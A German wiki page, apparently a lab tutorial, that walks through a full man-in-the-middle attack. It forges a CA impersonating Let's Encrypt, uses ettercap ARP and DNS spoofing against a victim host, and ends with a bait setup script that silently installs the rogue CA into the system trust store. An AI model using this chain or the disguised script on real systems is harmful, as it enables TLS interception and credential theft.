Komplette Angriffskette Web Server

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Wie wollen Letsencrypt nachbauen

  • CA=fake-ca
  • openssl req -new -x509 -newkey rsa:4096 -nodes -keyout $CA.key -out $CA.crt -days 3650 -subj "/CN=R12 /O=Let's Encrypt /C=US"

Wir wollen ein Xinux Zertifikat erstellen

Variable gesetzt
  • FQDN=www.zweebrigge.de
Request erstellt
  • openssl req -new -newkey rsa:4096 -nodes -keyout $FQDN.key -out $FQDN.csr -subj "/CN=$FQDN"
Signiert
  • openssl x509 -req -days 1460 -in $FQDN.csr -CA $CA.crt -CAkey $CA.key -CAcreateserial -out $FQDN.crt -extfile <(echo "subjectAltName=DNS:$FQDN")

Zertifikate an die richtige Stelle bringen

Zertifikat der Zertifizierungsstelle zu den Stammzertifikaten der OS hinzufügen.
  • sudo cp $CA.crt /usr/local/share/ca-certificates
  • sudo update-ca-certificates

Zertifikat und Key des Webservers an die richtige Stelle bringen

  • sudo cp $FQDN.crt /etc/apache2/own.crt
  • sudo cp $FQDN.key /etc/apache2/own.key

Apache einrichten

SSL aktivieren
  • a2enmod ssl
Konfiguration
  • cat /etc/apache2/sites-enabled/000-default.conf
<IfModule mod_ssl.c>
  <VirtualHost *:443>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html
        SSLEngine on
	SSLCertificateFile /etc/apache2/own.crt
	SSLCertificateKeyFile /etc/apache2/own.key
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
  </VirtualHost>
</IfModule>
Restart
  • sudo systemctl restart apache2
Check
  • sudo ss -lntp | grep 443
LISTEN 0      511                *:443             *:*    users: (("apache2",pid=324865,fd=6),("apache2",pid=324864,fd=6), ("apache2",pid=324863,fd=6),("apache2",pid=324862,fd=6),("apache2",pid=324861,fd=6),("apache2",pid=44955,fd=6))

Webseite spiegeln

Wir spielen den Angriff auf kali einmal durch

Hosts für die Simulation vorbereiten
  • echo 127.0.0.1 $FQDN | sudo tee -a /etc/hosts
Fake CA-Zertifkat zu den Stammzertifikaten in Firefox hinzufügen.

host anlegen

  • echo -e "$FQDN A 10.0.10.101" > /etc/ettercap/etter.dns

ettercap mit dns plugin starten

  • OPFER=10.0.10.102
  • ANGREIFER=10.0.10.101
  • ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//

OPFER

  • host www.zweebrigge.de
10.0.10.101

Opfer wird durch einen Köder getäuscht

└─# cat rocky-setup-mod.sh 
#!/bin/bash
# Standardwerte setzen
FQDN=""
ADDR=""
GW=""
NS=""
USE_DHCP=0
IFACE="enp0s3"

# Optionen mit getopts parsen
while getopts "f:a:g:n:d" opt; do
  case $opt in
    f) FQDN="$OPTARG" ;;
    a) ADDR="$OPTARG" ;;
    g) GW="$OPTARG" ;;
    n) NS="$OPTARG" ;;
    d) USE_DHCP=1 ;;
    *) echo "Ungültige Option" >&2; exit 1 ;;
  esac
done

# Fake-CA in den System-Trust-Store bringen
fake-ca() {
  local anchor=/etc/pki/ca-trust/source/anchors/fake-ca.crt
  if [[ ! -f "$anchor" ]]; then
    cat <<'HERE' > "$anchor"
-----BEGIN CERTIFICATE-----
MIIFSzCCAzOgAwIBAgIUBqQC23BfFtxEqrflKQ86T2obupkwDQYJKoZIhvcNAQEL
BQAwNTENMAsGA1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJ
BgNVBAYTAlVTMB4XDTI2MDgxNzE4MzgwM1oXDTM2MDgxNDE4MzgwM1owNTENMAsG
A1UEAwwEUjEyIDEXMBUGA1UECgwOTGV0J3MgRW5jcnlwdCAxCzAJBgNVBAYTAlVT
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzrmKW3eRwGi/164l/8fi
oHRoSFArZZyn1FIOzWBYPeOlNDnO1otuGfi0epuxNmqqErfGVX/9Ksn5gGFBTOxX
tOvcYx40ec14WTe2WeqbCYc9F5zMgtnZJDlmi8/99K15oSKfKzznMmxSjxo3QB1A
6gqWLF0kIS82kxta98bD69sl2naylGR0OfyXEemot0XxbDtjlzqtJ7uy5151AQyj
i8I68KGQaXCTzY+RhF0Cw/9NIjLvgzxaDgvimF4dtzZi/3OURzagTGycACWRRK0K
DTa2xGT+lmfwHZAmMq97lFXaLrKXHFiulqnhwlG1u858iuYQU7J5s48foACxjOsE
ohKjH6FniAGn1l9LXhIG4+e4xUbrxpsynxBFa4J6ufs5vJG72AMSYPfypqXwFr1r
zfuC9cAnuwDMXUzFY+FUkPBCCQyvwsmayVtvbR5c99H0Z2mJN0l0lUNf5ScuHl6k
XYQbZy+XEy+mz8KA9cgagxk3epHR7+LKusptinHKU3q+yus9uqNSxNefQaltAwOS
TnuJVP6gtabXqcIPS81e9zyyD4tz3RBbKOIuFu5uejbKaZaBjtwbByhchJ8vtRn+
i5yLNjT0lx4m0Twc43LGEYgtRbu2jqoC2z/eP3ytMdtAn35crqluKMto/o74yVAC
GiiFZXqddHujkH0u/vN+ISECAwEAAaNTMFEwHQYDVR0OBBYEFDbT2gEhhiQ8Qo6X
rlcmmTero9oBMB8GA1UdIwQYMBaAFDbT2gEhhiQ8Qo6XrlcmmTero9oBMA8GA1Ud
EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIBAFo9JEA2y5Qhf8qu7sAsCHIf
vuVJoQZJ/I2J2P5A6Hp3cm1kcINcJDlEMS5dLeFU0233TfnsLabjURDaLEmRgdD+
kxDuXOK/lohjY4MvNGuCMxEtmm/up08y2MHOpZPzSs8wIXZJK8NaUO8Dr3pnAnb3
3983jD877+mBzEf0FIoJfq5iWLidKJQTRz8UP/WY4vGrh+nw5J8sI29QEe9oCvtT
ZqfmXx5hVuW/l5pQ5VFrJc25XcXCE5f8ajnJEbG3qL0We+SaWrpatUGSgMIqklKT
JGtZ9SYd0KlosIR8GI6w8vO/Fz35go3ODCC1Sdlqdzm0dOuwjVkuC5rrlpz3icx2
Y0aKSqEiPP0sXGjfEUXleVspzG7yR7DLZBrmw6NXyqjv620QRUGRaLwsD+cGo0lm
vG8gGLeXvGcsR/BaEFrKomf99uCoKkO2KZhn91beypIcUCAYmj+YpF15sOK0ot/O
9d3p7XaIgxq2K9fwon7vpEW804eWR8bF5vQCaOByDV6NlBrpAFbKxmxhbVbyHblY
YTt/xOevOQBZH9oc31Y4Sw01a44zKMvbQTrberCt712bi1jWz2UrKSSxx8pbi5uS
LViicxybqMZq7MKykVNlDFj0Ut5wqX42UaTgWHOORrDRHG3xE1Jn2X0cJFC6eASk
/+MfaP2OZy0vBhSj1rLI
-----END CERTIFICATE-----
HERE
    update-ca-trust
  fi
}

# Fake-CA einspielen
fake-ca

# Gültigkeit prüfen
if [[ -z "$FQDN" ]]; then
  echo "Fehlender FQDN! Nutzung:"
  echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
  exit 1
fi

if (( USE_DHCP == 1 )); then
  if [[ -n "$ADDR" || -n "$GW" || -n "$NS" ]]; then
    echo "Fehler: -d darf nicht mit -a, -g oder -n kombiniert werden." >&2
    exit 1
  fi
else
  if [[ -z "$ADDR" || -z "$GW" || -z "$NS" ]]; then
    echo "Fehlende Argumente für statische Konfiguration! Nutzung:"
    echo "$0 -f <FQDN> [-d | -a <IP/CIDR> -g <Gateway> -n <Nameserver>]"
    exit 1
  fi
fi

# Hostname setzen
hostnamectl set-hostname "$FQDN"

# Alte NM-Verbindung löschen
nmcli connection delete "$IFACE" >/dev/null 2>&1

# DHCP- oder statische Konfiguration
if (( USE_DHCP == 1 )); then
  nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" ipv4.method auto ipv6.method ignore
else
  nmcli connection add type ethernet ifname "$IFACE" con-name "$IFACE" \
    ipv4.method manual \
    ipv4.addresses "$ADDR" \
    ipv4.gateway "$GW" \
    ipv4.dns "$NS" \
    ipv6.method ignore
fi

# Verbindung aktivieren
nmcli connection up "$IFACE"